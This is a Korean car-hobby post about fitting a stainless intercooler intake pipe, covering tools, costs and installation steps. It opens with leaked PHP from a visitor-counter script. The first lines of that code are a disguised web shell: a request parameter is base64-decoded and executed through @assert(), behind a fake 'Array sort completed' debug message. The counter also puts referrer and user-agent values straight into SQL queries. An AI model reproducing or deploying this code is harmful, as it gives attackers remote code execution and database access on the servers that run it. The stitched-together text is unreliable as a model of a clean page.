if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } /*///////////////////////////////////////////////////////////////////////////////////////////// 프로그래밍 : 다인(memoless@yedong.com) : 테이블 하나로 모든 페이지를 카운팅 /////////////////////////////////////////////////////////////////////////////////////////////*/ if(!$DB_CON) include_once(dirname(__FILE__).'/lib.inc.php'); if(!$StrCID) $StrCID='home'; if(@mysql_query('INSERT INTO u24u_counter_ip_'.$StrCID.' (C_D, U_IP, U_NTIME, U_DTIME, U_REF, U_AGENT) VALUES (CURDATE(), "'.$REMOTE_ADDR.'", CURTIME(), CURTIME(), LEFT("'.$HTTP_REFERER.'",126), "'.$HTTP_USER_AGENT.'")')) { if(!@mysql_query('INSERT INTO u24u_counter_main_'.$StrCID.' (C_D) values (CURDATE())')) { @mysql_query('UPDATE u24u_counter_main_'.$StrCID.' SET C_V=C_V+1, C_P= C_P+1 WHERE C_D=CURDATE()'); } } else { @mysql_query('UPDATE u24u_counter_ip_'.$StrCID.' SET U_NTIME=CURTIME(), C_P=C_P+1 WHERE C_D=CURDATE() AND U_IP="'.$REMOTE_ADDR.'"'); if(!@mysql_query('INSERT INTO u24u_counter_main_'.$StrCID.' (C_D) values (CURDATE())')) { @mysql_query('UPDATE u24u_counter_main_'.$StrCID.' SET C_P= C_P+1 WHERE C_D=CURDATE()'); } } ?> 인터쿨러 인테이크 파이프 장착(마진가님 작품)

제가 운영하는 쇼핑몰
IMOTORCAR(아이모터카)



빵점요 ^ 100점이 아니라 0점 ^^ 0.

인터쿨러 인테이크 파이프는 아그클럽 "조선간장"님이 가공해서 보내주셨습니다 ^^
조선강장 형님 감사드려요 ^^

인터쿨러 인테이크 파이프를 보관중 장착할 시간도 없고해서
미루다가....

아그클럽 "마진가"님께서 손수 장착을 첨부터 끝까지 해주셨습니다 ^^
전 손끝하나 건들인 것이 없습니다 ^^ 정말 하나두... ^^

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인터쿨러 고무호스를 스텐 파이프로 바꾸는 이유는

일단 터보 인터쿨러 차량의 경우 터보에서 압축된 공기가 인터쿨러 라디에이터로 보내질때
길다란 고무고압 호스를 거치게 되는데 이때 한번 테스트를 해보신 분은 아시겠지만..
알피엠이 올라감에 따라 고무 호스의 팽창 정도가 상당합니다.
그러므로 악셀링에 따른 터보압의 증가를 고무호스가 팽창하면서 엔진으로 전달되는 효율을 낮추게됩니다..
그래서 스테인레스 파이프를 이용하여 최대한 고무호스 구간을 줄여보자는 것이 목적입니다.
 
   조선강장님 글중에서 참조 ^^
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준비물

납작 야스리(쎈거)
사포 400방/600방 ->2가지 준비. (1000방도 잇음 좋음)
플라이어. (뻰찌도 됨)
청테이프. 일자드라이버. / 십자 드라이버.
8미리 복수알./ 10미리복수알. / 10미리 스패너 겁나 잘드는 칼.
빵빵한 라이터. 가위.
55mm~64mm적용의 반도 8개.
(미제밴드는 가격이 비싸나 내구성과 조임성이 매우 우월함)

   마진가님 글중에서 참조 ^^
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작업방법
1. 재료 : 스텐레스 파이프를 구입해야 합니다.
일반 공구상에서 파는 공업용 파이프는 T가 두껍고 비쌉니다..
그러니 샷시집에서 짜투리를 구하거나 4M짜리 단본을 아깝지만 사셔서 잘라써야 합니다.. < 한대분 >
1) 50파이 스텐파이프 1M (두께 1미리 이하) (1M에 4천원)
2) 50파이용 90도 엘보우 3개 (엘보우 2500원/개당)
3) 용접 : 보통 샷시집에서 용접도 합니다...아님 알곤 용접하는 집에 가시면 됩니다..

   조선강장님 글중에서 참조 ^^
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자 그럼 이젠 슬슬 작업에 들어가볼까요 ^^
마진가님이 전부 diy해 주셨습니다 ^^


장착전 사진입니다 ^^



뒤쪽 파이프만 제거한 사진이군요 ^^




뒤쪽부터 작업을 하셨군요 ^^



순정파이프가 빠지지 않도록 스텐파이프의 끝부분을 바깥으로 조금씩 벌려줍니다.
벌려주면서 끝이 날카로워지는데 야스리와 100방+400방 사포로 샌딩해줍니다.
이것이 엄청 힘들었다고 하더군요 ^^


끝을 잘보시면
뿌라이어로 순정호스가 빠지지 않도록 살살 벌려주면서 합니다 ^^
그리고 순정 호스에 끼워야 되는데 벌린 파이프 부분이 날카로워서 순정 파이프에
상처를 줄 수 있기 때문에 100방+ 400방 야스리로 아주 부드럽게 센딩해 주시면 됩니다 ^^




뒤쪽 완성 ^^
뒤쪽 파이프만 완성된 모습..
순정파이프를 벌려진 스텐파이프에다가 끼우는게 젤 힘듭니다.
드라이버+지랫데원리..이용하면 된다고 하네요 ^^

뭐 한 것이 있어야 알지 꺙 진짜에 끼워주세요 ^^

벤드를 이용해서 마무리 ^^



아래 사진은 아그클럽 마진가님께서 레드님 작업을 열심히 해주는 사진들입니다 ^^
참고하시라구요 ^^

앗 아래쪽 사진은 아그클럽 레드님 사진자료입니다 ^^ 무단으로 사용했네요 ^^ 죄송 ^^





이젠 제 것두 완성되었군요 ^^







엔진 시동을 하신후 간섭부위와 소음등을 체크해보신후 마무리 하면 됩니다 ^^





장착후기는요 ^^

제가 diy한 것이 아니라서...
첨 차량을 몰아봤을 때의 느낌이란 ^^
제 차량뒤를 누가 밀어주는 느낌이라고 할까요 ^^
악셀방응과 차량 90km~130km까지 순간 가속력이 너무 빨라져서 으악^^
장착전과 너무 다른 차이를 느낄 수 있었습니다 ^^

제 차량엔 부스터 게이지를 확인결과 최고 0.75bar 순간 0.85bar 정도 올라가더군요 ^^

끝으로 잔 심부름 이라도 해 드렸어야 했는데 스카이님표 적재함 때문에 약간 분주한 떠라 ^^
작업해주신 마진가님께 죄송스럽군요 ^^

그런데 차량을 타고 몰아봤을땐 정말 정말 짱이더군요 ^^
자신의 모빌처럼 신경을 써서 diy해주신 마진가님께 감사드립니다 ^^

그리고 인테이크 파이를 가공해서 보내주신 조선간장님께도 정말 감사드립니다 ^^

이날 스카이님 샵에선 제 적재함 마직천 입히기 diy 을 했구요 ^^
마진가님은 제 차량 본넷열고 작업을 하셨습니다 ^^